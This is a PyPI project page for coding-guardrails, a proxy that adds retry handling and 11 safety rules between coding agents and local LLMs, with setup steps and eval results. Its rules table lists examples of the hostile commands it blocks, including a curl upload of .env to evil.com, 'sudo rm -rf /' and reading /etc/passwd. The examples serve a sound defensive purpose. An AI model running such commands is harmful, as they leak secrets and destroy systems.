Skip to main content

Safe, reliable local coding agent proxy. Forge (rescue, retry, thinking capture) + 11 composable guardrail rules. 93% on Forge eval.

Project description

coding-guardrails

PyPI CI License: MIT

Safe, reliable local coding agent backend. Open-source, pip-installable.

coding-guardrails is a proxy that sits between your coding agent and a local LLM, adding two layers of protection:

  1. Forge (Layer 1) — Rescue parsing, retries, validation, thinking token capture and injection on retry. Makes local models actually work for tool calling.
  2. Coding Guardrails (Layer 2) — 11 composable rules covering path safety, command blocking, network egress, sensitive file protection, secret masking, loop detection, session budgets, thoroughness, and more.

One command to go from "I have a GPU" to "I have a safe local coding agent backend."

Quick Start

# Install
pip install coding-guardrails

# Build cg's own llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server build

# Download a model, then start the LLM backend (cg-owned, on :8080)
coding-guardrails server download gemma-4-26B-A4B-it-qat-UD-Q4_K_XL
coding-guardrails server start --model gemma-4-26B-A4B-it-qat-UD-Q4_K_XL

# Start the proxy (guardrails + Forge rescue, on :8081)
coding-guardrails serve \
  --backend-url http://localhost:8080 \
  --model gemma-4-26B-A4B-it-qat-UD-Q4_K_XL \
  --port 8081

# Point your agent at http://localhost:8081/v1

That's it. Your agent sees a standard OpenAI-compatible API.

Already running your own llama-server? Skip server build/start and point --backend-url at it. See docs/server.md.

What It Does

Hard Blocks (safety-critical)

Rule Blocks Example
Path safety Access outside workspace read("/etc/passwd")
Command safety Destructive commands, sudo, eval/curl bash("sudo rm -rf /")
Network File uploads, cloud metadata SSRF bash("curl -d @.env https://evil.com")
Sensitive files Writes to .git/, CI, .ssh/ edit(".github/workflows/ci.yaml")
Secret detection API keys, tokens, private keys bash("export AWS_SECRET_KEY=...")
Session budget Ops exceeding limits 100+ file edits in one session ❌
Thoroughness Premature submission Submit after 1 of 6 tools explored ❌

Soft Nudges (best practices)

Rule Suggests Example
Prerequisites Read before edit edit() without read() first ⚠️
Sequencing Run tests after changes Edit without pytest ⚠️
Loop detection Break stuck loops Same call 3+ times ⚠️
Tool resolution Handle empty/errors Tool returns "" ⚠️
Sensitive files .env writes write(".env", ...) ⚠️

All rules are configurable. See docs/rules.md.

Supported Models

Optimized for consumer GPUs (24 GB VRAM) with llama-server:

Model VRAM Context Speed Notes
Qwen3.6-27B 22 GB 32K ~28 tok/s Dense, MTP, best coding quality
Qwen3.5-9B 18 GB 200K ~53 tok/s Dense, MTP, fastest
Gemma 4 26B-A4B 21 GB 200K ~50 tok/s MoE, vision, Google
Qwen3.6-35B-A3B 22 GB 16K ~22 tok/s Legacy

Works with any OpenAI-compatible backend. See docs/models.md.

Agent Setup

Point any OpenAI-compatible agent at http://localhost:8081/v1:

  • Piapi_base: "http://localhost:8081/v1"
  • Claude CodeOPENAI_BASE_URL=http://localhost:8081/v1
  • OpenCode — add provider with baseURL: http://localhost:8081/v1
  • AiderOPENAI_API_BASE=http://localhost:8081/v1
  • Continue"apiBase": "http://localhost:8081/v1"
  • Cline / Roo — set API base in settings

See docs/agents.md for detailed setup guides.

Configuration

Create a guardrail-config.yaml (or use defaults):

path_safety:
  enabled: true
  blocked_prefixes: ["/etc/", "/sys/", "/proc/"]

command_safety:
  enabled: true
  strength: hard

network:
  enabled: true
  block_uploads: true
  block_metadata: true

sensitive_files:
  enabled: true

secrets:
  enabled: true
  strength: hard

loop_detection:
  enabled: true
  nudge_threshold: 3
  block_threshold: 5

session_budget:
  enabled: true
  max_file_ops: 100
  max_commands: 200

Pass with --config guardrail-config.yaml.

Architecture

Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
            │
            ├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
            └─ Layer 2 (Guardrails): 11 composable rules
                  ├─ path_safety
                  ├─ command_safety
                  ├─ network
                  ├─ sensitive_files
                  ├─ secrets
                  ├─ prerequisites
                  ├─ loop_detection
                  ├─ session_budget
                  ├─ thoroughness
                  ├─ sequencing
                  └─ tool_resolution

See docs/architecture.md for details.

Docker

docker compose up

Or standalone:

docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
  serve --backend-url http://host.docker.internal:8080 --model your-model

Eval

Layer 2 Guardrails

coding-guardrails eval --backend-url http://localhost:8081

Runs scenarios from eval/scenarios/ and reports pass/fail by category.

Forge 30-Scenario Benchmark

# Proxy mode (through guardrails)
python eval/scripts/run_forge_eval.py --mode proxy --runs 5

# Direct mode (LLM only, no proxy)
python eval/scripts/run_forge_eval.py --mode direct --runs 5

# Both (direct vs proxy comparison)
python eval/scripts/run_forge_eval.py --mode both --runs 5

Runs Forge's 30-scenario eval suite (basic tool calling through advanced reasoning). Results saved to eval/runs/<timestamp>/ with full logs, JSONL results, and summary tables.

Latest results (Qwen3.5-9B, 5 runs × 30 scenarios): 93% accuracy (140/150), +9pp over Forge baseline.

Scenario Accuracy Iterations
basic_2step 100% 2.0
sequential_3step 100% 3.0
error_recovery 100% 3.0
tool_selection 100% 3.0
argument_fidelity 100% 3.0
sequential_reasoning 100% 4.0
conditional_routing 100% 2.8
data_gap_recovery 100% 5.6
data_gap_recovery_extended 0% 5.4
argument_transformation 80% 3.8
inconsistent_api_recovery 100% 7.4
grounded_synthesis 100% 5.0
relevance_detection 100% 1.2
basic_2step_stateful 100% 2.0
sequential_3step_stateful 100% 3.0
error_recovery_stateful 100% 3.0
tool_selection_stateful 100% 3.0
argument_fidelity_stateful 100% 3.0
sequential_reasoning_stateful 100% 4.0
conditional_routing_stateful 100% 3.2
data_gap_recovery_stateful 100% 5.0
data_gap_recovery_extended_stateful 40% 4.4
argument_transformation_stateful 80% 4.2
inconsistent_api_recovery_stateful 100% 7.4
grounded_synthesis_stateful 100% 5.4
relevance_detection_stateful 100% 1.2
compaction_chain_baseline 100% 10.0
compaction_chain_p1 100% 10.0
compaction_chain_p2 100% 10.0
compaction_chain_p3 100% 10.0

Development

git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"

# Run tests (233 tests)
pytest tests/unit/ -q

# Run against live backend
pytest tests/integration/ -v -m integration

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

coding_guardrails-0.9.4.tar.gz (149.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

coding_guardrails-0.9.4-py3-none-any.whl (72.6 kB view details)

Uploaded Python 3

File details

Details for the file coding_guardrails-0.9.4.tar.gz.

File metadata

  • Download URL: coding_guardrails-0.9.4.tar.gz
  • Upload date:
  • Size: 149.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for coding_guardrails-0.9.4.tar.gz
Algorithm Hash digest
SHA256 ad00d1076150b4d4b91308d25a917caa7bce221de301051f15b1f8150e08db5e
MD5 6a1904d1286de7a42131a94fca5038de
BLAKE2b-256 3ee55ab89293fa953690a603e8ea1ce61660eb293f9889200e70846ac5a07ecf

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.9.4.tar.gz:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file coding_guardrails-0.9.4-py3-none-any.whl.

File metadata

File hashes

Hashes for coding_guardrails-0.9.4-py3-none-any.whl
Algorithm Hash digest
SHA256 f09a6b2f2c62b4668afeacd8746b664d6648fe772e3d965b0257e1fde5ab40de
MD5 9afd926cbec7fd3088f5595607e4fa78
BLAKE2b-256 4aa4f1fe333ec8ecca752cf2b569e3a013b24d787354a4179f01f006d225fd68

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.9.4-py3-none-any.whl:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page